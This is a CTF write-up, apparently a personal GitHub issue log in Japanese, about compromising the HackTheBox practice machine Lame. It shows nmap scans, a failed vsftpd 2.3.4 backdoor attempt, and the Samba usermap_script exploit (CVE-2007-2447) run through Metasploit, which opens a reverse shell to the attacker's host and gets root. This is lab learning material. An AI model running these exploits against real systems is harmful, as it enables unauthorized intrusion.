roaris / ctf-log

0 stars 0 forks source link

HackTheBox: Lame (Machine Easy) #4

Open roaris opened 6 months ago

roaris commented 6 months ago

https://app.hackthebox.com/machines/Lame

$ nmap -sC -sV -Pn 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-23 20:47 JST
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.16.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h30m10s, deviation: 3h32m09s, median: 9s
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-02-23T06:48:02-05:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.85 seconds
roaris commented 6 months ago

Anonymous FTP login allowed (FTP code 230)とあるので試すが、dirをしても何も出てこない

$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:roaris): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||50041|).
150 Here comes the directory listing.
226 Directory send OK.
roaris commented 6 months ago

https://e-words.jp/w/vsftpd.html vsftpd(very secure ftp daemon)はセキュアなFTPのデーモンプログラム

vsftpd 2.3.4 exploitで検索すると、https://www.intellilink.co.jp/column/vulner/2011/070600.aspx が出てくる vsftpd 2.3.4にはバックドアコードが含まれていて、:)を含むユーザ名でログインすると、ポート6200でバックドアがオープンし、ポート6200に接続することで、vsftpdの実行権限の範囲で、何でも出来てしまう

https://qiita.com/Kuroakira/items/5aa5f77d13ee4a108b41 解説記事 そもそも:)を含むユーザが登録されてなくても上手くいく

roaris commented 6 months ago

:)を含むユーザ名でログインを試みれば良いだけではあるが、exploit/unix/ftp/vsftpd_234_backdoor を使ってみる ソースコード

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
roaris commented 6 months ago

リバースシェルではないので、LHOST, LPORTの指定はいらない どうやら上手くいってないように見える

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

nmapでポート6200が空いているか確認しても、フィルターされている

$ nmap -Pn -p 6200 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-23 21:22 JST
Nmap scan report for 10.10.10.3
Host is up.

PORT     STATE    SERVICE
6200/tcp filtered lm-x

Nmap done: 1 IP address (1 host up) scanned in 3.06 seconds
roaris commented 6 months ago

https://e-words.jp/w/Samba.html SambaはLinuxなどのUNIX系OSで動作するコンピュータをWindowsネットワーク上のサーバやクライアントとして動作させるためのソフトウェア

roaris commented 6 months ago

samba 3.0.20 exploitで検索すると、CVE-2007-2447というのが出てくる CVE-2007-2447で調べるとhttps://jvn.jp/vu/JVNVU268336/index.html が出てくる リバースシェルが取れそうである

roaris commented 6 months ago

exploit/multi/samba/usermap_script を使う ソースコード

msf6 > search samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
roaris commented 6 months ago

RPORTは139じゃなくて445(139はバージョンがsambaの特定できてないので) プロンプトが出てこないので、コマンドが打てないかと思ったが、whoamiを打つとrootと返ってきた

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set RPORT 445
RPORT => 445
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.3
LHOST => 10.10.16.3
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.16.3:4444
[*] Command shell session 1 opened (10.10.16.3:4444 -> 10.10.10.3:42991) at 2024-02-23 21:44:23 +0900

whoami
root

/home/makisにuser.txt, /rootにroot.txtがある

roaris commented 6 months ago

https://0xdf.gitlab.io/2020/04/07/htb-lame.html#beyond-root---vsftpd を読むと、exploit/unix/ftp/vsftpd_234_backdoorを試したときに上手くいかなかったのは、ファイアウォールでポート6200がブロックされているから